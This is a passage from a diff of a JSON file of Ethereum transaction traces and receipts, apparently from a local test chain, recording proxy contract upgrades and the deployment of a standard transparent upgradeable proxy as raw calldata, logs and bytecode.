"0x0b306bf915c4d645ff596e518faf3f9669b97016", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "DELEGATECALL", "value": "0x0", - "data": "0xdf5b3547000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000", + "data": "0xd4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e8", "output": "0x", - "gas_used": 31336, - "gas_limit": 58554, + "gas_used": 125780, + "gas_limit": 197799, "status": "Stop", "steps": [], "decoded": { @@ -3035,9 +2729,79 @@ { "raw_log": { "topics": [ - "0x0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe" + "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", + "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000000" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + }, + { + "raw_log": { + "topics": [ + "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + }, + { + "raw_log": { + "topics": [ + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + ], + "data": "0x" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + }, + { + "raw_log": { + "topics": [ + "0x237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x00000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad4" + ], + "data": "0x" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + }, + { + "raw_log": { + "topics": [ + "0xaf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3" + ], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c20" + }, + "decoded": { + "name": null, + "params": null + }, + "position": 0 + }, + { + "raw_log": { + "topics": [ + "0x8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06" ], - "data": "0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d" + "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e8" }, "decoded": { "name": null, @@ -3048,9 +2812,9 @@ { "raw_log": { "topics": [ - "0x77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786" + "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], - "data": "0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000000000000000000" + "data": "0x0000000000000000000000000000000000000000000000000000000000000001" }, "decoded": { "name": null, @@ -3065,43 +2829,106 @@ }, { "Log": 1 + }, + { + "Log": 2 + }, + { + "Log": 3 + }, + { + "Log": 4 + }, + { + "Log": 5 + }, + { + "Log": 6 } ] } ], - "exit": "Return", + "exit": "Stop", "out": "0x", - "nonce": 30, - "gas_used": 60778 + "nonce": 23, + "gas_used": 169265 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0xed6a", + "cumulativeGasUsed": "0x29531", "logs": [ { - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", "topics": [ - "0x0c35b17d91c96eb2751cd456e1252f42a386e524ef9ff26ecc9950859fdc04fe" + "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", + "0x0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016" ], - "data": "0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d" + "data": "0x" }, { - "address": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", "topics": [ - "0x77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786" + "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", + "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" ], - "data": "0x000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000000000000000000000000000000000000000000000" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000" + }, + { + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "topics": [ + "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" + }, + { + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "topics": [ + "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + ], + "data": "0x" + }, + { + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "topics": [ + "0x237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb", + "0x0000000000000000000000000000000000000000000000000000000000000000", + "0x00000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad4" + ], + "data": "0x" + }, + { + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "topics": [ + "0xaf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3" + ], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c20" + }, + { + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "topics": [ + "0x8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06" + ], + "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e8" + }, + { + "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "topics": [ + "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000001" } ], - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000002000000000000000000000000000000000000000000000000000000100000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000800000000000000000000000000000000000000000000000000000001000000000100000000000000" + "logsBloom": "0x00000000000000000000000040000008400000000000000000800000000000000010000000000000000000000000000000000000000000100000000000000000041000000000000000000400000402000001002000000000000000000000000000020000020000000000000300800800000004000000000000000000000000440000000100000000000000000000000000000000000080000000000000100000000000000000000000000000000400000000000000000000000000000000000000000024400000200000000000040000000000002008002000000000000020000000000000000100400800000400000000000000000000000000000001400200" }, - "block_hash": "0x01830e263c3ff88b576e3efa74f18ca4b0864595494c15dab977d28aaf894e48", + "block_hash": "0xe5e6a123d0b8304491d040d1cb2d2d7de538f574ac284c6fd811de7f37d2532d", "block_number": 20 }, { "info": { - "transaction_hash": "0x70bb1d58f6521a3b3c19dd151c65f4903e57a4c0979f69d1d5d1ebc8e9929cfc", + "transaction_hash": "0x8d7d689b5e7498d26362ee52308da636bcbbe413fa03ca37f136aa3bcb8cda91", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": "0x5fbdb2315678afecb367f032d93f642f64180aa3", @@ -3124,10 +2951,10 @@ "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0x9623609d0000000000000000000000000165878a594ca255338adfa4d48449f69242eb8f0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000", + "data": "0x9623609d000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 145433, - "gas_limit": 223699, + "gas_used": 118687, + "gas_limit": 172853, "status": "Stop", "steps": [], "decoded": { @@ -3153,17 +2980,17 @@ "depth": 1, "success": true, "caller": "0x5fbdb2315678afecb367f032d93f642f64180aa3", - "address": "0x0165878a594ca255338adfa4d48449f69242eb8f", + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CALL", "value": "0x0", - "data": "0x4f1ef2860000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000c4d4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e800000000000000000000000000000000000000000000000000000000", + "data": "0x4f1ef2860000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000084019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000", "output": "0x", - "gas_used": 138898, - "gas_limit": 213819, + "gas_used": 112329, + "gas_limit": 163941, "status": "Stop", "steps": [], "decoded": { @@ -3177,7 +3004,7 @@ "raw_log": { "topics": [ "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000000b306bf915c4d645ff596e518faf3f9669b97016" + "0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f" ], "data": "0x" }, @@ -3204,18 +3031,18 @@ "trace": { "depth": 2, "success": true, - "caller": "0x0165878a594ca255338adfa4d48449f69242eb8f", - "address": "0x0b306bf915c4d645ff596e518faf3f9669b97016", + "caller": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "address": "0x7a2088a1bfc9d81c55368ae168c2c02570cb814f", "maybe_precompile": null, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "DELEGATECALL", "value": "0x0", - "data": "0xd4540a55000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512000000000000000000000000000000000000000000000000000000000000000000000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad40000000000000000000000000000000000000000000000000000000000001c2000000000000000000000000000000000000000000000000000000000000003e8", + "data": "0x019e27290000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000003635c9adc5dea0000000000000000000000000000009635f643e140090a9a8dcd712ed6285858cebef000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512", "output": "0x", - "gas_used": 125780, - "gas_limit": 197782, + "gas_used": 99364, + "gas_limit": 148834, "status": "Stop", "steps": [], "decoded": { @@ -3228,10 +3055,9 @@ { "raw_log": { "topics": [ - "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", - "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + "0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000" + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000" }, "decoded": { "name": null, @@ -3242,9 +3068,9 @@ { "raw_log": { "topics": [ - "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" + "0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452" ], - "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" + "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000" }, "decoded": { "name": null, @@ -3255,11 +3081,10 @@ { "raw_log": { "topics": [ - "0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266" + "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", + "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" ], - "data": "0x" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000" }, "decoded": { "name": null, @@ -3270,11 +3095,9 @@ { "raw_log": { "topics": [ - "0x237b82f438d75fc568ebab484b75b01d9287b9e98b490b7c23221623b6705dbb", - "0x0000000000000000000000000000000000000000000000000000000000000000", - "0x00000000000000000000000018a0f92ad9645385e8a8f3db7d0f6cf7abbb0ad4" + "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" ], - "data": "0x" + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" }, "decoded": { "name": null, @@ -3285,22 +3108,139 @@ { "raw_log": { "topics": [ - "0xaf557c6c02c208794817a705609cfa935f827312a1adfdd26494b6b95dd2b4b3" + "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001c20" + "data": "0x0000000000000000000000000000000000000000000000000000000000000001" }, "decoded": { "name": null, "params": null }, "position": 0 + } + ], + "ordering": [ + { + "Log": 0 + }, + { + "Log": 1 + }, + { + "Log": 2 + }, + { + "Log": 3 }, + { + "Log": 4 + } + ] + } + ], + "exit": "Stop", + "out": "0x", + "nonce": 29, + "gas_used": 142079 + }, + "receipt": { + "type": "0x2", + "status": "0x1", + "cumulativeGasUsed": "0x22aff", + "logs": [ + { + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "topics": [ + "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", + "0x0000000000000000000000007a2088a1bfc9d81c55368ae168c2c02570cb814f" + ], + "data": "0x" + }, + { + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "topics": [ + "0xf97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5" + ], + "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000de0b6b3a7640000" + }, + { + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "topics": [ + "0x6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452" + ], + "data": "0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003635c9adc5dea00000" + }, + { + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "topics": [ + "0xab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d", + "0x0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000000" + }, + { + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "topics": [ + "0x6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512" + }, + { + "address": "0xc5a5c42992decbae36851359345fe25997f5c42d", + "topics": [ + "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" + ], + "data": "0x0000000000000000000000000000000000000000000000000000000000000001" + } + ], + "logsBloom": "0x00000000000000000000000040000000400004000000000000000000000000000400000000000000000000000000000000000000000100100004000000000000000000000000000000000400000002000000000000000000000000000000040000000000000000000000000004800000000004000000000000000000000000000000000300000002000040000000000400000000000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000040020480000000000000000040000000000000008000000000000000000000000000000000000000000000000000000000000000000000000000000400000" + }, + "block_hash": "0x7bb83840dc25b6baee1983d47c2cd54aaf16a8d85dec26e3b66f3710b137b3dd", + "block_number": 26 + }, + { + "info": { + "transaction_hash": "0x87e7a0a46d0acf358992c362a7de3a63efb71630952cff29709a7656f78cbd82", + "transaction_index": 0, + "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "to": null, + "contract_address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", + "traces": [ + { + "parent": null, + "children": [], + "idx": 0, + "trace": { + "depth": 0, + "success": true, + "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", + "address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", + "maybe_precompile": false, + "selfdestruct_address": null, + "selfdestruct_refund_target": null, + "selfdestruct_transferred_value": null, + "kind": "CREATE", + "value": "0x0", + "data": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", + "output": "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033", + "gas_used": 465106, + "gas_limit": 636783, + "status": "Return", + "steps": [], + "decoded": { + "label": null, + "return_data": null, + "call_data": null + } + }, + "logs": [ { "raw_log": { "topics": [ - "0x8cdc428b0431b82d1619763f443a48197db344ba96905f3949643acd1c863a06" + "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", + "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" ], - "data": 